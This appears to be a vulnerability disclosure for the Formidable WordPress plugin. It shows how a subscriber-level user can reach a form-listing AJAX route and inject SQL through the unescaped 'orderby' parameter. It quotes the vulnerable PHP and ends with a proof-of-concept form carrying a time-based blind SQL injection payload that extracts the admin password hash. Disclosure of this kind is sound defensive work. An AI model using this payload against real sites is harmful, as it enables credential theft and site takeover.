FrmFormsController::route
is accessible for every registered user because of:
File: formidable\classes\controllers\FrmFormsController.php
add_action('wp_ajax_frm_save_form', 'FrmFormsController::route');
Using $_REQUEST['frm_action']
we can display list_form()
:
File: formidable\classes\controllers\FrmFormsController.php
public static function route(){
$action = isset($_REQUEST['frm_action']) ? 'frm_action' : 'action';
$vars = false;
if(isset($_POST['frm_compact_fields'])){
if ( !current_user_can('frm_edit_forms') && !current_user_can('administrator') ) {
global $frm_settings;
wp_die($frm_settings->admin_permission);
}
$json_vars = htmlspecialchars_decode(nl2br(stripslashes(str_replace('"', '\\\"', $_POST['frm_compact_fields'] ))));
$json_vars = json_decode($json_vars, true);
if ( empty($json_vars) ) {
// json decoding failed so we should return an error message
$action = FrmAppHelper::get_param($action);
if ( 'edit' == $action ) {
$action = 'update';
}
add_filter('frm_validate_form', array(__CLASS__, 'json_error'));
} else {
$vars = FrmAppHelper::json_to_array($json_vars);
$action = $vars[$action];
}
}else{
$action = FrmAppHelper::get_param($action);
}
if($action == 'new' or $action == 'new-selection')
return self::new_form($vars);
else if($action == 'create')
return self::create($vars);
else if($action == 'edit')
return self::edit($vars);
else if($action == 'update')
return self::update($vars);
else if($action == 'duplicate')
return self::duplicate();
else if($action == 'destroy')
return self::destroy();
else if($action == 'list-form')
return self::list_form();
}
list_form()
uses display_forms_list()
which require FrmListHelper.php
:
File: formidable\classes\controllers\FrmFormsController.php
require( FrmAppHelper::plugin_path() .'/classes/helpers/FrmListHelper.php' );
$args = array('table_name' => $wpdb->prefix .'frm_forms', 'params' => $params);
$args['page_name'] = $params['template'] ? '-template' : '';
$wp_list_table = new FrmListHelper($args);
unset($args);
$pagenum = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
Inside prepare_items()
we can pass $_REQUEST['orderby']
which is not escaped and used in FrmForm::getAll
:
File: formidable\classes\helpers\FrmListHelper.php
$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : $default_orderby;
$frm_form = new FrmForm();
$this->items = $frm_form->getAll($s_query, " ORDER BY $orderby $order", " LIMIT $start, $per_page", true, false);
Because we control query after ORDER BY
we don't have clean SQL INJECTION, but blind one can be used.
File: formidable\classes\models\FrmForm.php
function getAll( $where = array(), $order_by = '', $limit = '' ){
global $wpdb, $frmdb;
if(is_numeric($limit))
$limit = " LIMIT {$limit}";
$query = 'SELECT * FROM ' . $wpdb->prefix .'frm_forms' . FrmAppHelper::prepend_and_or_where(' WHERE ', $where) . $order_by . $limit;
if ($limit == ' LIMIT 1' || $limit == 1){
if(is_array($where))
$results = $frmdb->get_one_record($wpdb->prefix .'frm_forms', $where, '*', $order_by);
else
$results = $wpdb->get_row($query);
if($results){
wp_cache_set($results->id, $results, 'frm_form');
$results->options = maybe_unserialize($results->options);
}
}else{
if ( is_array($where) && !empty($where) ) {
$results = $frmdb->get_records($wpdb->prefix .'frm_forms', $where, $order_by, $limit);
} else {
$results = $wpdb->get_results($query);
}
if($results){
foreach($results as $result){
wp_cache_set($result->id, $result, 'frm_form');
$result->options = maybe_unserialize($result->options);
}
}
}
return stripslashes_deep($results);
}
Proof of Concept
Login as standard user (created using wp-login.php?action=register
) then:
<form method="post" action="http://wordpress-instalation/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="frm_save_form" >
<input type="hidden" name="frm_action" value="list-form">
<input type="hidden" name="start" value="1">
Blind SQL: <input type="text" name="orderby" value="id, (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
<input type="submit" value="Hack!">
</form>
This SQL will check if first password character user ID=1
is "$".
If yes, it will sleep 5 seconds.
Timeline
- 07-11-2014: Discovered
- 07-11-2014: Vendor notified
- 04-04-2015: Version 2.0 released, issue resolved